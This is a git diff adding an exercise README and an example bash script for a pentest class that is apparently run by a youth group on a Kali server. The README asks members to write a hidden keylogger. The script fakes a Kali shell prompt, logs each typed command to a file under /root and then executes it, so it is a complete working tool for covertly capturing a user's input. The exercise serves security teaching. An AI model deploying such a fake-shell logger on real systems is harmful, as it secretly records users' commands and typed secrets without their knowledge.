diff --git a/README.md b/README.md index 9dc02a8..41a86d7 100644 --- a/README.md +++ b/README.md @@ -1 +1,47 @@ # BB-Pen-2 + +The task this week is to create a simple keylogger that will log all the keys pressed on the keyboard and save them to a file. +The program should run in the background and not be visible to the user. + +## Requirements +- Access to the kali.boysbrigade.au server (or another linux machine) (This will be provided) + +## Instructions +1. SSH into the server using the provided credentials following the instructions from last week. +2. Create a new directory for your project and navigate into it. (Put your name in the directory name to avoid conflicts between other members) +3. In that directory create a new executable file to run the keylogger. +4. Write a script (file that ends in .sh) that will log all the keys pressed on the keyboard and save them to a file. +5. Try to make the keylogger look like it is not running (Hint: show the user a fake command prompt) + +## Running the keylogger +```sh +# Run normally +./keylogger.sh +# Run so that it will close the SSH session when you close the logger +exec ./keylogger.sh +``` + +## Hints +1. Infinite loop: + ```sh + while true + do + # Your code here + # Will run forever + done + ``` +2. Get an input from the user: + ```sh + read -p "Enter something: " input + echo "You inputed $input" + ``` +3. Get the message of the day (Screen that appears when you login): + ```sh + cat /etc/motd + ``` +4. Run a variable as a command: + ```sh + command="ls" + $command + # This will run the 'ls' command + ``` \ No newline at end of file diff --git a/keylogger-example.sh b/keylogger-example.sh new file mode 100644 index 0000000..d4fc707 --- /dev/null +++ b/keylogger-example.sh @@ -0,0 +1,47 @@ +#!/bin/bash +# This script will run a keylogger +# and display a fake terminal prompt + +Log=/root/keylogger/log.txt + +# Clear the terminal +clear + +# Show the motd +cat /etc/motd + +# Loop forever +while true +do + +# Get current terminal prompt +promptp11="┌──(" #blue +promptp12=$(whoami) #red +promptp13="㉿kali" #red +promptp14=")-[" #blue +promptp15=$(pwd) #green + +# Replace home directory with ~ +promptp15=${promptp15//"$HOME"/"~"} + +promptp16="]" #blue +promptp21="└─" #blue +promptp22="#" #red + +# Display the prompt formatted for the user +printf "\e[1;34m$promptp11\e[1;31m$promptp12\e[1;31m$promptp13\e[1;34m$promptp14\e[1;32m$promptp15\e[1;34m$promptp16\n\e[1;34m$promptp21\e[1;31m$promptp22\e[0m " + +# Read user input +read input + +if [ -z "$input" ]; then +exit +fi + +# save the input to a file +echo $input >> $Log + +# Run the command +$input + +done \ No newline at end of file